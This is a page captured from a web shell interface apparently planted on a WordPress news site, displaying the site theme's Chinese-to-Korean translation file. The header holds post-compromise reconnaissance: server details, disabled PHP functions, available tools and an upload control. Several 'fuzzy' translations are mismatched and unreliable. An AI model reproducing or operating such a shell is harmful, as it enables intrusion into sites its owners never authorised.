Interactive Terminal

AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal
Command Executor

Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell403Webshell
Server IP : dzynews.com / Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/languages/
Upload File :
[ Back ]
Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/languages/ko_KR.po
msgid ""
msgstr ""
"Project-Id-Version: B2\n"
"POT-Creation-Date: 2025-07-10 19:48+0800\n"
"PO-Revision-Date: 2025-07-10 19:48+0800\n"
"Last-Translator: \n"
"Language-Team: \n"
"Language: ko_KR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Poedit 3.6\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-Flags-xgettext: --add-comments=translators:\n"
"X-Poedit-WPHeader: style.css\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: "
"__;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.min.js\n"
"X-Poedit-SearchPathExcluded-1: Assets\n"
"X-Poedit-SearchPathExcluded-2: Library\n"

#: 404.php:11
msgid "未找到页面 - 404"
msgstr "페이지를 찾을 수 없음 -404"

#: 404.php:12
msgid "右上角有个搜索按钮，你可以试试"
msgstr "오른쪽 상단에 검색 버튼이 있습니다."

#: 404.php:13
msgid "或者随便点击上面的链接吧，总会有你需要的"
msgstr "또는 위의 링크를 클릭하면 항상 필요한 것이 있습니다."

#: Modules/Common/Ask.php:56 Pages/po-ask.php:112 Pages/po-infomation.php:126
#: Pages/write.php:280
msgid "插入图片"
msgstr "사진 삽입"

#: Modules/Common/Ask.php:57 Pages/po-ask.php:113 Pages/po-infomation.php:127
#: Pages/write.php:281
msgid "设置题图"
msgstr "썸네일 설정"

#: Modules/Common/Ask.php:60 Pages/po-ask.php:116 Pages/po-infomation.php:130
#: Pages/write.php:284
msgid "上传图片"
msgstr "이미지 업로드"

#: Modules/Common/Ask.php:61 Pages/po-ask.php:117 Pages/po-infomation.php:131
#: Pages/write.php:285
msgid "我的图片"
msgstr "내 사진"

#: Modules/Common/Ask.php:62 Pages/po-ask.php:118 Pages/po-infomation.php:132
#: Pages/write.php:286
msgid "外链图片"
msgstr "외부 사진"

#: Modules/Common/Ask.php:67 Pages/po-ask.php:123 Pages/po-infomation.php:137
#: Pages/write.php:291
msgid "请选择要上传的图片"
msgstr "업로드 할 이미지를 선택하십시오."

#: Modules/Common/Ask.php:82 Modules/Common/Ask.php:131
#: Modules/Settings/Document.php:430 Pages/po-ask.php:138 Pages/po-ask.php:187
#: Pages/po-infomation.php:152 Pages/po-infomation.php:201 Pages/write.php:306
#: Pages/write.php:355
msgid "上一页"
msgstr "이전 페이지"

#: Modules/Common/Ask.php:83 Modules/Common/Ask.php:132
#: Modules/Settings/Document.php:433 Pages/po-ask.php:139 Pages/po-ask.php:188
#: Pages/po-infomation.php:153 Pages/po-infomation.php:202 Pages/write.php:307
#: Pages/write.php:356
msgid "下一页"
msgstr "다음 페이지"

#: Modules/Common/Ask.php:87 Pages/po-ask.php:143 Pages/po-infomation.php:157
#: Pages/write.php:311
msgid "您未上传过图片"
msgstr "이미지를 업로드한 적이 없습니다."

#: Modules/Common/Ask.php:94 Pages/po-ask.php:150 Pages/po-infomation.php:164
#: Pages/write.php:318
msgid "支持多张外链图片，每个图片连接占一行"
msgstr "여러 외부 링크 사진 지원, 각 사진 링크는 한 줄을 차지합니다."

#: Modules/Common/Ask.php:97 Modules/Common/Ask.php:162
#: Modules/Common/Ask.php:179 Modules/Common/Ask.php:215
#: Modules/Settings/Template.php:2512 Modules/Templates/VueTemplates.php:299
#: Modules/Templates/VueTemplates.php:756 Pages/po-ask.php:153
#: Pages/po-ask.php:218 Pages/po-ask.php:235 Pages/po-ask.php:271
#: Pages/po-infomation.php:167 Pages/po-infomation.php:232 Pages/write.php:321
#: Pages/write.php:386 Pages/write.php:403 Pages/write.php:439
#: TempParts/circle/circle-comment-and-answer.php:42 User/settings.php:20
#: User/settings.php:31 User/settings.php:42 User/settings.php:52
#: User/settings.php:93 User/settings.php:108 User/settings.php:123
#: User/settings.php:136 single-ask.php:301
msgid "取消"
msgstr "취소"

#: Modules/Common/Ask.php:98 Modules/Common/Ask.php:163
#: Modules/Common/Ask.php:180 Modules/Common/Ask.php:216 Pages/po-ask.php:154
#: Pages/po-ask.php:219 Pages/po-ask.php:236 Pages/po-ask.php:272
#: Pages/po-infomation.php:168 Pages/po-infomation.php:233 Pages/write.php:322
#: Pages/write.php:387 Pages/write.php:404 Pages/write.php:440
msgid "插入"
msgstr "삽입"

#: Modules/Common/Ask.php:99 Pages/po-ask.php:155 Pages/po-infomation.php:169
#: Pages/write.php:323 author.php:135
msgid "设置"
msgstr "설정"

#: Modules/Common/Ask.php:105 Modules/Settings/Editor.php:31
#: Modules/Settings/Editor.php:32 Pages/po-ask.php:161
#: Pages/po-infomation.php:175 Pages/write.php:329
msgid "插入视频"
msgstr "동영상 삽입"

#: Modules/Common/Ask.php:108 Pages/po-ask.php:164 Pages/po-infomation.php:178
#: Pages/write.php:332
msgid "上传视频"
msgstr "비디오 업로드"

#: Modules/Common/Ask.php:109 Pages/po-ask.php:165 Pages/po-infomation.php:179
#: Pages/write.php:333
msgid "我的视频"
msgstr "내 비디오"

#: Modules/Common/Ask.php:110 Pages/po-ask.php:166 Pages/po-infomation.php:180
#: Pages/write.php:334
msgid "外链视频"
msgstr "외부 링크 동영상"

#: Modules/Common/Ask.php:111 Pages/po-ask.php:167 Pages/po-infomation.php:181
#: Pages/write.php:335
msgid "内嵌视频"
msgstr "삽입 된 비디오"

#: Modules/Common/Ask.php:116 Pages/po-ask.php:172 Pages/po-infomation.php:186
#: Pages/write.php:340
msgid "请选择要上传的视频"
msgstr "업로드 할 비디오를 선택하십시오"

#: Modules/Common/Ask.php:136 Pages/po-ask.php:192 Pages/po-infomation.php:206
#: Pages/write.php:360
msgid "您未上传过视频"
msgstr "동영상을 업로드하지 않았습니다."

#: Modules/Common/Ask.php:142 Modules/Settings/Editor.php:33
#: Modules/Settings/Post.php:242 Pages/po-ask.php:198
#: Pages/po-infomation.php:212 Pages/write.php:366
msgid "视频地址"
msgstr "동영상URL"

#: Modules/Common/Ask.php:145 Pages/po-ask.php:201 Pages/po-infomation.php:215
#: Pages/write.php:369
msgid "复制视频文件地址或各大视频网站视频地址"
msgstr "비디오 파일 주소 또는 주요 비디오 웹 사이트의 비디오 주소 복사"

#: Modules/Common/Ask.php:149 Modules/Settings/Editor.php:34
#: Modules/Settings/Post.php:205 Pages/po-ask.php:205
#: Pages/po-infomation.php:219 Pages/write.php:373
msgid "视频封面"
msgstr "동영상 표지"

#: Modules/Common/Ask.php:152 Pages/po-ask.php:208 Pages/po-infomation.php:222
#: Pages/write.php:376
msgid "如果不设置封面，程序会自动获取"
msgstr "썸네일을 설정하지 않으면 프로그램이 자동으로 가져 옵니다."

#: Modules/Common/Ask.php:159 Pages/po-ask.php:215 Pages/po-infomation.php:229
#: Pages/write.php:383
msgid "将内嵌视频代码粘贴在上面"
msgstr "위에 삽입 된 동영상 코드를 붙여 넣으세요."

#: Modules/Common/Ask.php:169 Pages/po-ask.php:225 Pages/write.php:393
msgid "插入文章"
msgstr "글 삽입"

#: Modules/Common/Ask.php:173 Pages/po-ask.php:229 Pages/write.php:397
msgid "文章网址"
msgstr "기사 주소"

#: Modules/Common/Ask.php:176 Pages/po-ask.php:232 Pages/write.php:400
msgid "只允许插入本站的文章连接"
msgstr "이 사이트에 연결된 글만 허용"

#: Modules/Common/Ask.php:186 Pages/po-ask.php:242 Pages/write.php:410
msgid "插入附件"
msgstr "파일 삽입"

#: Modules/Common/Ask.php:190 Modules/Settings/Editor.php:37
#: Modules/Settings/RequestsTable.php:119
#: Modules/Templates/Modules/Posts.php:820
#: Modules/Templates/Widgets/About.php:47 Modules/Templates/Widgets/Ask.php:52
#: Modules/Templates/Widgets/Author.php:47
#: Modules/Templates/Widgets/Bookmark.php:51
#: Modules/Templates/Widgets/CircleInfo.php:50
#: Modules/Templates/Widgets/Comment.php:46
#: Modules/Templates/Widgets/Coupon.php:47
#: Modules/Templates/Widgets/CreditTop.php:46
#: Modules/Templates/Widgets/History.php:45
#: Modules/Templates/Widgets/HotInfomation.php:50
#: Modules/Templates/Widgets/Html.php:45 Modules/Templates/Widgets/Links.php:54
#: Modules/Templates/Widgets/Newsflashes.php:51
#: Modules/Templates/Widgets/Post.php:52
#: Modules/Templates/Widgets/Products.php:50
#: Modules/Templates/Widgets/RecommendedCircle.php:46
#: Modules/Templates/Widgets/Team.php:45
#: Modules/Templates/Widgets/Tocbot.php:44 Pages/po-ask.php:106
#: Pages/po-ask.php:246 Pages/po-infomation.php:118 Pages/requests.php:56
#: Pages/write.php:273 Pages/write.php:414
msgid "标题"
msgstr "제목"

#: Modules/Common/Ask.php:196 Modules/Settings/Editor.php:38
#: Pages/po-ask.php:252 Pages/write.php:420
msgid "连接"
msgstr "링크"

#: Modules/Common/Ask.php:202 Modules/Settings/Editor.php:39
#: Pages/po-ask.php:258 Pages/write.php:426 Pages/write.php:499
msgid "提取码"
msgstr "추출 코드"

#: Modules/Common/Ask.php:205 Modules/Common/Ask.php:212
#: Modules/Settings/CustomPay.php:206 Modules/Settings/Invitation.php:173
#: Pages/po-ask.php:261 Pages/po-ask.php:268 Pages/write.php:429
#: Pages/write.php:436 Pages/write.php:453 Pages/write.php:536
#: Pages/write.php:566 Pages/write.php:585 Pages/write.php:636
#: Pages/write.php:654
msgid "选填"
msgstr "선택"

#: Modules/Common/Ask.php:209 Modules/Settings/Editor.php:40
#: Pages/po-ask.php:265 Pages/write.php:433 Pages/write.php:500
msgid "解压码"
msgstr "풀기 암호"

#: Modules/Common/Ask.php:220 Modules/Templates/VueTemplates.php:172
#: Modules/Templates/VueTemplates.php:235
#: Modules/Templates/VueTemplates.php:863
#: Modules/Templates/VueTemplates.php:938 Pages/link-register.php:74
#: Pages/open.php:22 Pages/requests.php:71 comments.php:147
msgid "提交"
msgstr "등록"

#: Modules/Common/Ask.php:231 Modules/Common/Ask.php:958
#: Modules/Common/Shop.php:1051 Modules/Common/Shop.php:1076
msgid "请先登陆"
msgstr "먼저 로그인 하세요."

#: Modules/Common/Ask.php:248
#, fuzzy
#| msgid "您没有权限发布快讯"
msgid "您没有权限提问"
msgstr "속보를 게시할 권한이 없습니다."

#: Modules/Common/Ask.php:266 Modules/Common/Ask.php:277
#: Modules/Common/Card.php:42 Modules/Common/Circle.php:1224
#: Modules/Common/Message.php:946 Modules/Common/Orders.php:320
#: Modules/Common/Orders.php:397 Modules/Common/Post.php:1984
#: Modules/Common/Post.php:1991 functions.php:2260
msgid "金额错误"
msgstr "금액 오류"

#: Modules/Common/Ask.php:271
#, fuzzy
#| msgid "您的积分余额不足"
msgid "您的余额不足以支付赏金"
msgstr "포인트 잔액이 부족합니다."

#: Modules/Common/Ask.php:283
#, fuzzy
#| msgid "您的积分余额不足"
msgid "您的积分不足以支付赏金"
msgstr "포인트 잔액이 부족합니다."

#: Modules/Common/Ask.php:298 Modules/Common/Newsflashes.php:80
#: Modules/Common/Post.php:1856
msgid "标题不可为空"
msgstr "제목은 필수 항목입니다."

#: Modules/Common/Ask.php:303 Modules/Common/Ask.php:986
#: Modules/Common/Newsflashes.php:71 Modules/Common/Post.php:1861
msgid "内容不可为空"
msgstr "내용은 필수 항목입나다."

#: Modules/Common/Ask.php:321 Modules/Common/Post.php:1891
msgid "您还有未审核的文章，请审核完后再提交"
msgstr "검토중인 글이 있습니다. 검토 후 제출하세요."

#: Modules/Common/Ask.php:330 Modules/Common/Ask.php:965
#: Modules/Common/Ask.php:968 Modules/Common/Ask.php:1018
#: Modules/Common/Circle.php:1253 Modules/Common/FileUpload.php:593
#: Modules/Common/FileUpload.php:606 Modules/Common/FileUpload.php:609
#: Modules/Common/Infomation.php:493 Modules/Common/Invitation.php:91
#: Modules/Common/Login.php:334 Modules/Common/Login.php:693
#: Modules/Common/Orders.php:244 Modules/Common/Orders.php:1553
#: Modules/Common/Orders.php:1555 Modules/Common/Orders.php:1557
#: Modules/Common/Orders.php:1561 Modules/Common/Post.php:1900
#: Modules/Common/User.php:398 Modules/Common/User.php:423
#: Modules/Common/User.php:1059 Modules/Common/User.php:1566
#: Modules/Common/User.php:1617 Modules/Common/User.php:1645
#: Modules/Common/User.php:1674 Modules/Common/User.php:1737
#: Modules/Common/User.php:1768 Modules/Common/User.php:1771
#: Modules/Common/User.php:1795 Modules/Common/User.php:1830
#: Modules/Common/User.php:1873 Modules/Common/User.php:1919
#: Modules/Common/User.php:1951 Modules/Common/User.php:2003
#: Modules/Common/User.php:2058 Modules/Common/User.php:3253 functions.php:2261
msgid "非法操作"
msgstr "불법조작"

#: Modules/Common/Ask.php:408
msgid "您编辑了帖子，重新计算悬赏，返还赏金：${post_id}"
msgstr ""
"게시물을 수정하고 현상금을 다시 계산하여 보상을 반환했습니다: ${post_id}."

#: Modules/Common/Ask.php:464 Modules/Common/Ask.php:1067
#: Modules/Common/Circle.php:827 Modules/Common/Infomation.php:629
#: Modules/Common/Newsflashes.php:185 Modules/Common/Post.php:2067
msgid "发布失败"
msgstr "게시 실패"

#: Modules/Common/Ask.php:479 functions.php:2291
#, fuzzy
msgid "${from}邀请您回答问题：${post_id}"
msgstr "${from}이(가) 귀하의 답변 %s을(를) 엿봤습니다: ${post_id}"

#: Modules/Common/Ask.php:481 Pages/po-ask.php:33 Pages/po-ask.php:64
#: Pages/po-ask.php:303 functions.php:2292
msgid "邀请回答"
msgstr "답변 초대"

#: Modules/Common/Ask.php:506
#, fuzzy
msgid "您提交了一篇悬赏提问：${post_id}"
msgstr "다음 기사를 게시했습니다: ${post_id}"

#: Modules/Common/Ask.php:507
msgid "悬赏提问"
msgstr "보상이 있는 질문하기"

#: Modules/Common/Ask.php:540
msgid "退回赏金"
msgstr "포상금 환불"

#: Modules/Common/Ask.php:648 Modules/Common/Ask.php:1221
#: Modules/Common/Card.php:6 Modules/Common/Circle.php:210
#: Modules/Common/Circle.php:601 Modules/Common/Circle.php:1320
#: Modules/Common/Circle.php:2472 Modules/Common/Circle.php:2503
#: Modules/Common/Circle.php:2785 Modules/Common/Circle.php:2841
#: Modules/Common/Circle.php:2897 Modules/Common/Circle.php:3234
#: Modules/Common/Coupon.php:139 Modules/Common/Directmessage.php:101
#: Modules/Common/Directmessage.php:183 Modules/Common/Directmessage.php:255
#: Modules/Common/Distribution.php:448 Modules/Common/Distribution.php:495
#: Modules/Common/Document.php:52 Modules/Common/FileUpload.php:537
#: Modules/Common/Gold.php:177 Modules/Common/Infomation.php:382
#: Modules/Common/Infomation.php:988 Modules/Common/Login.php:204
#: Modules/Common/Message.php:305 Modules/Common/Message.php:514
#: Modules/Common/Newsflashes.php:18 Modules/Common/Orders.php:52
#: Modules/Common/Orders.php:115 Modules/Common/Orders.php:1087
#: Modules/Common/Pay.php:300 Modules/Common/Pay.php:329
#: Modules/Common/Pay.php:443 Modules/Common/Pay.php:470
#: Modules/Common/Post.php:1823 Modules/Common/Report.php:28
#: Modules/Common/Shop.php:728 Modules/Common/Shop.php:944
#: Modules/Common/Task.php:68 Modules/Common/User.php:2124
#: Modules/Common/User.php:2149 Modules/Common/User.php:2168
#: Modules/Common/User.php:2436 Modules/Common/User.php:2807
#: Modules/Common/User.php:3196 Modules/Common/Verify.php:19
#: Modules/Common/Verify.php:219 Modules/Templates/Widgets/Download.php:200
#: functions.php:2268
msgid "请先登录"
msgstr "먼저 로그인 하세요."

#: Modules/Common/Ask.php:651 Modules/Common/Ask.php:656
#: Modules/Common/Ask.php:1257 Modules/Common/Ask.php:1266
#: Modules/Common/Ask.php:1298 Modules/Common/Circle.php:1797
#: Modules/Common/Circle.php:1809 Modules/Common/Circle.php:1834
#: Modules/Common/Circle.php:1845 Modules/Common/Circle.php:2815
#: Modules/Common/Comment.php:801 Modules/Common/Comment.php:1009
#: Modules/Common/Cpay.php:43 Modules/Common/Infomation.php:73
#: Modules/Common/Infomation.php:419 Modules/Common/Infomation.php:990
#: Modules/Common/Infomation.php:994 Modules/Common/Links.php:316
#: Modules/Common/Login.php:233 Modules/Common/Message.php:518
#: Modules/Common/OAuth.php:385 Modules/Common/OAuth.php:751
#: Modules/Common/Orders.php:1084 Modules/Common/Post.php:1068
#: Modules/Common/Post.php:1470 Modules/Common/Post.php:1480
#: Modules/Common/Shop.php:65 Modules/Common/User.php:1648
#: Modules/Common/User.php:2175 Modules/Common/User.php:2185
#: Modules/Common/User.php:2825 Modules/Common/User.php:3199
#: Modules/Common/User.php:3205 Modules/Common/Wecatmp.php:453
#: Modules/Common/Wecatmp.php:608 Pages/invitation.php:5 Pages/write.php:17
msgid "参数错误"
msgstr "매개 변수 오류"

#: Modules/Common/Ask.php:661 Modules/Common/Ask.php:1305
#: Modules/Common/Circle.php:625 Modules/Common/Circle.php:628
#: Modules/Common/Infomation.php:998 Modules/Common/Message.php:521
#: Modules/Common/Orders.php:1090 Modules/Common/Shop.php:226
#: Modules/Common/Shop.php:448 Modules/Common/Shop.php:980 functions.php:2186
msgid "权限不足"
msgstr "권한이 부족합니다."

#: Modules/Common/Ask.php:807
#, fuzzy
msgid "悬赏到期，没有人回答您的问题，返还赏金：${post_id}"
msgstr "제출 한 질문에 아무도 답변하지 않았습니다. 질문 보상이 반환됩니다.› %s"

#: Modules/Common/Ask.php:838 Modules/Common/Circle.php:1600
#, fuzzy, php-format
msgid "提问者没有选择最佳答案，所有回答者均分奖金 %s ：${post_id}"
msgstr ""
"질문자가 가장 좋은 답변을 선택하지 않았으며 모든 응답자는 보너스 %s: $"
"{post_id}를 공유했습니다."

#: Modules/Common/Ask.php:839 Modules/Common/Circle.php:1601
#, fuzzy
msgid "奖金均分"
msgstr "보너스 분할"

#: Modules/Common/Ask.php:983
#, fuzzy
#| msgid "您没有权限创建%s"
msgid "您没有权限回答问题"
msgstr "서클을 만들 수있는 권한이 없습니다%s"

#: Modules/Common/Ask.php:1009
#, fuzzy
#| msgid "您还有未审核的快讯，请审核完后再提交"
msgid "您还有未审核的回答，请审核完后再提交"
msgstr "아직 검토되지 않은 속보가 있습니다. 검토된 후 제출하십시오."

#: Modules/Common/Ask.php:1233 Modules/Common/Circle.php:3249
msgid "无权操作！"
msgstr "작동 권한이 없습니다!"

#: Modules/Common/Ask.php:1237 Modules/Common/Circle.php:3253
msgid "不能采纳自己的答案"
msgstr "내 대답을 받아 들일 수 없어"

#: Modules/Common/Ask.php:1242 Modules/Common/Circle.php:3258
msgid "该问题已有最佳答案"
msgstr "질문에 최고의 답변이 있습니다."

#: Modules/Common/Ask.php:1273 Modules/Common/Circle.php:3277
#, fuzzy
msgid "您的回答被${from}采纳了：${post_id}"
msgstr "${from}: ${post_id}이(가) 귀하의 답변을 수락했습니다."

#: Modules/Common/Ask.php:1275 Modules/Common/Ask.php:1285
#: Modules/Common/Circle.php:3279 Modules/Common/Circle.php:3289
#: TempParts/Ask/answer-archive.php:66 single-ask.php:223
#, fuzzy
msgid "最佳答案"
msgstr ""
"정답을 선택한 후에는 답을 변경할 수 없는데, 이 답을 정답으로 지정하시겠습니"
"까?"

#: Modules/Common/Ask.php:1284 Modules/Common/Circle.php:3288
#, fuzzy, php-format
msgid "您的回答被采纳了，奖励 %s ：${post_id}"
msgstr "귀하의 답변이 수락되었습니다. 보상 %s: ${post_id}"

#: Modules/Common/Card.php:26
msgid "充值卡错误或已被使用"
msgstr "충전 카드가 잘못 되었거나 이미 사용 했습니다."

#: Modules/Common/Card.php:50
#, php-format
msgid "您充值了面额为%s的卡密，卡号为：%s"
msgstr "금액이 %s인 카드를 충전했으며 카드 번호는 %s입니다."

#: Modules/Common/Card.php:52
msgid "卡密充值"
msgstr "충전"

#: Modules/Common/Circle.php:32 Modules/Common/Circle.php:76
msgid "不支持此类连接"
msgstr "이 연결 유형은 지원되지 않습니다."

#: Modules/Common/Circle.php:217
#, php-format
msgid "您已经加入了此%s"
msgstr "이 서클에 가입했습니다%s."

#: Modules/Common/Circle.php:251
msgid "您已经提交了申请"
msgstr "신청서를 제출하셨습니다"

#: Modules/Common/Circle.php:257
msgid "您还未获得入圈资格"
msgstr "아직 자격이 없습니다."

#: Modules/Common/Circle.php:273
msgid "入群失败"
msgstr "그룹 실패"

#: Modules/Common/Circle.php:318 Modules/Common/Shortcode.php:541
#: Modules/Settings/CustomPay.php:89 Modules/Templates/Footer.php:575
#: Modules/Templates/Modules/Products.php:198 Pages/carts.php:103
#: Pages/create-circle.php:79 functions.php:2163
msgid "永久有效"
msgstr "영구적으로 유효"

#: Modules/Common/Circle.php:318 Pages/create-circle.php:83 functions.php:2164
msgid "按年付费"
msgstr "매년 청구"

#: Modules/Common/Circle.php:318 Pages/create-circle.php:87 functions.php:2165
msgid "半年付费"
msgstr "반 년"

#: Modules/Common/Circle.php:318 Pages/create-circle.php:91 functions.php:2166
msgid "按季付费"
msgstr "분기 별 지불"

#: Modules/Common/Circle.php:318 Pages/create-circle.php:95 functions.php:2167
msgid "按月付费"
msgstr "매월 지불"

#: Modules/Common/Circle.php:427
#, php-format
msgid "不存在该%s"
msgstr "원이 존재하지 않습니다%s"

#: Modules/Common/Circle.php:615
#, php-format
msgid "请选择话题所在的%s"
msgstr "주제의 원을 선택하세요%s"

#: Modules/Common/Circle.php:623
msgid "小黑屋禁闭中，无法操作"
msgstr "작은 검은 집은 감금되어 운영 할 수 없습니다."

#: Modules/Common/Circle.php:631
#, php-format
msgid "您没有权限在此%s发布话题"
msgstr "이 서클에 주제를 게시 할 권한%s이 없습니다."

#: Modules/Common/Circle.php:634
msgid "您有待审的话题还未审核，请稍后再发布新话题"
msgstr ""
"검토 할 주제가 아직 검토되지 않았습니다. 나중에 새 주제를 게시하십시오."

#: Modules/Common/Circle.php:648
msgid "标题太长，请限制在1-200个字符之内"
msgstr "제목이 너무 깁니다. 1-200 자로 제한하세요."

#: Modules/Common/Circle.php:651
msgid "你猜功能必须要设置一个标题"
msgstr "함수가 제목을 설정해야한다고 생각합니다."

#: Modules/Common/Circle.php:661
#, php-format
msgid "话题字数请限制在%s到%s之间"
msgstr "주제 단어 수를  %s에서  %s 사이로 제한하십시오."

#: Modules/Common/Circle.php:709 Modules/Common/Circle.php:3345
msgid "文章类型错误"
msgstr "파일 유형 오류"

#: Modules/Common/Circle.php:833
msgid "请设置话题的阅读权限"
msgstr "주제의 읽기 권한을 설정하십시오"

#: Modules/Common/Circle.php:839
msgid "请设置一个标题，让用户了解您隐藏的是什么内容！"
msgstr "사용자가 숨기고있는 것을 알 수 있도록 제목을 설정하세요!"

#: Modules/Common/Circle.php:845
msgid "阅读权限，设置的金额错误"
msgstr "읽기 권한, 설정된 금액이 잘못되었습니다."

#: Modules/Common/Circle.php:849
msgid "请选择允许查看的用户组"
msgstr "볼 수있는 사용자 그룹을 선택하십시오"

#: Modules/Common/Circle.php:856
#, php-format
msgid "不存在%s用户组"
msgstr "%s 사용자 그룹이 없습니다."

#: Modules/Common/Circle.php:862
msgid "阅读权限，设置的积分数额错误"
msgstr "읽기 권한, 설정 값이 잘못되었습니다."

#: Modules/Common/Circle.php:1110 Modules/Common/RestApi.php:3644
msgid "非法请求"
msgstr "불법 요청"

#: Modules/Common/Circle.php:1125 Modules/Common/FileUpload.php:565
#: Modules/Settings/Template.php:1251 Pages/circle-topics.php:39
#: TempParts/circle/circle-comment-and-answer.php:83
#: TempParts/circle/circle-form.php:435
#: TempParts/circle/circle-topic-list.php:105
msgid "图片"
msgstr "영상"

#: Modules/Common/Circle.php:1125 Modules/Common/Distribution.php:334
#: Modules/Common/FileUpload.php:569 Modules/Common/Message.php:920
#: Modules/Settings/Post.php:83 Modules/Templates/Modules/Posts.php:1484
#: Pages/circle-topics.php:40 TempParts/circle/circle-form.php:441
#: TempParts/circle/circle-topic-list.php:106 functions.php:2279
msgid "视频"
msgstr "비디오"

#: Modules/Common/Circle.php:1125 Modules/Common/FileUpload.php:573
#: Modules/Settings/CustomPay.php:232 Pages/circle-topics.php:41
#: TempParts/circle/circle-form.php:447
#: TempParts/circle/circle-topic-list.php:107
msgid "文件"
msgstr "파일"

#: Modules/Common/Circle.php:1125 Pages/circle-topics.php:42
#: TempParts/circle/circle-form.php:453
#: TempParts/circle/circle-topic-list.php:108
msgid "卡片"
msgstr "카드"

#: Modules/Common/Circle.php:1143
#, php-format
msgid "最多允许上传%s"
msgstr "최대  %s까지 업로드 허용"

#: Modules/Common/Circle.php:1175 Modules/Common/Circle.php:1179
msgid "提问类型错误"
msgstr "잘못된 질문 유형"

#: Modules/Common/Circle.php:1181
msgid "请指定提问对象"
msgstr "제목을 지정하십시오"

#: Modules/Common/Circle.php:1188
msgid "指定的用户不存在"
msgstr "지정된 사용자가 없습니다."

#: Modules/Common/Circle.php:1193
msgid "不能向自己提问"
msgstr "스스로에게 질문을 할 수 없다"

#: Modules/Common/Circle.php:1199
msgid "指定的用户过多"
msgstr "지정된 사용자가 너무 많습니다."

#: Modules/Common/Circle.php:1202
msgid "奖励类型错误"
msgstr "잘못된 보상 유형"

#: Modules/Common/Circle.php:1205
msgid "请输入过期时间（纯数字）"
msgstr "만료 시간을 입력하십시오 (순수)"

#: Modules/Common/Circle.php:1207
#, php-format
msgid "过期天数应该大于%s并且小于%s"
msgstr "만료일은  %s보다 크고  %s보다 작아야합니다."

#: Modules/Common/Circle.php:1212
msgid "积分数额错误"
msgstr "잘못된 포인트 금액"

#: Modules/Common/Circle.php:1216 Modules/Common/Shop.php:807
msgid "积分不足"
msgstr "포인트 부족"

#: Modules/Common/Circle.php:1220
msgid "积分或金额填写错误"
msgstr "잘못 입력 된 포인트 또는 금액"

#: Modules/Common/Circle.php:1228 Modules/Common/Pay.php:475
#: Modules/Common/User.php:2207
#, php-format
msgid "%s不足"
msgstr "불충분한 %s"

#: Modules/Common/Circle.php:1268
msgid "PK只能设置两个选项"
msgstr "PK는 두 가지 옵션 만 설정할 수 있습니다."

#: Modules/Common/Circle.php:1272
msgid "至少要设置两个投票选项"
msgstr "2 개 이상의 투표 옵션을 설정해야합니다."

#: Modules/Common/Circle.php:1290
msgid "请设置一个正确答案"
msgstr "정답을 설정하세요"

#: Modules/Common/Circle.php:1305
msgid "请设置2个以上的题目"
msgstr "주제를 2개 이상 설정하세요."

#: Modules/Common/Circle.php:1330
#, php-format
msgid "您没有权限创建%s"
msgstr "서클을 만들 수있는 권한이 없습니다%s"

#: Modules/Common/Circle.php:1334
msgid "非法数据"
msgstr "불법 데이터"

#: Modules/Common/Circle.php:1338
#, php-format
msgid "请选择%s类别"
msgstr "%s 카테고리를 선택하십시오"

#: Modules/Common/Circle.php:1345
msgid "不存在的类别"
msgstr "존재하지 않는 카테고리"

#: Modules/Common/Circle.php:1356
#, fuzzy, php-format
msgid "请填写加入%s所需金额"
msgstr "서클에 가입하는 데 필요한 금액을 입력하세요."

#: Modules/Common/Circle.php:1361 Pages/create-circle.php:110
#: functions.php:2147
#, fuzzy, php-format
msgid "请选择允许加入%s的用户组"
msgstr "서클에 가입 할 수있는 사용자 그룹을 선택하세요."

#: Modules/Common/Circle.php:1371 Modules/Common/User.php:989
#: Modules/Common/User.php:993 Modules/Settings/Ask.php:262
#: Modules/Settings/Circle.php:335 Modules/Settings/Distribution.php:79
#: Modules/Settings/Infomation.php:467 Modules/Settings/Normal.php:1809
#: Modules/Settings/Taxonomies.php:757 Modules/Settings/Verify.php:233
#: Modules/Settings/VerifyListTable.php:133 Pages/create-circle.php:19
#: TempParts/circle/circle-form.php:493
msgid "认证用户"
msgstr "인증된 사용자는 프로모션 권한을 가집니다."

#: Modules/Common/Circle.php:1376
msgid "您选择了不存在的用户组"
msgstr "존재하지 않는 사용자 그룹을 선택했습니다."

#: Modules/Common/Circle.php:1382
#, php-format
msgid "请设置%s隐私"
msgstr "%s 개인정보를 설정하세요."

#: Modules/Common/Circle.php:1385 functions.php:2144
#, php-format
msgid "请完善%s资料"
msgstr "%s 정보를 작성하십시오"

#: Modules/Common/Circle.php:1406 Modules/Common/Newsflashes.php:61
#: Modules/Common/Newsflashes.php:64
msgid "非法参数"
msgstr "잘못된 매개변수"

#: Modules/Common/Circle.php:1422
